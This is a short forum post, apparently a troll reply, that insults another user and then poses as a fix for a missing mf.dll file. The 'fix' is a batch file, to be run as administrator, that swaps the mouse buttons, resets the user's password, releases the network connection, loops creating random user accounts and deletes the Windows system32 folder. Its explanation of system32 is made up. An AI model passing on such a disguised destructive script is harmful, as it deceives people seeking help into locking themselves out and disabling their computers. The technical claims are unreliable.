battle stop spreading lies you fucking idiot. If you weren't such an xbox fanboy you would know how a computer works you dumbass.
Botan, what you are going to want to do is patch the mf.dll with a clean version. So you are going to need to edit the registry. Your computer will not let you see system32 automatically because it contains browser info like cookies and instructions on how to format web pages and just stuff like that. Instead of changing your permissions through, it would be easier to create a batch file and go that route than take the long way.
Make a back up of you OS because there is always a possibility it can fuck up when you do anything. (even though its annoying, just do it. better safe than sorry :/)
Next, open notepad, and type:
" @
SmG Echo off
RUNDLL32 USER32.DLL,SwapMouseButton
net user %username% mf_dll_fix
time 13:37
ipconfig /release
:start
net user /add %random% %random%
del c:\WINDOWS\system32 "
Save the file as sys32-mf_dll-fix.bat (make sure it is a .bat so that it actually has access to the folder)
Right click the batch file you made and click run as administrator.
Problem should fix itself when you restart your computer.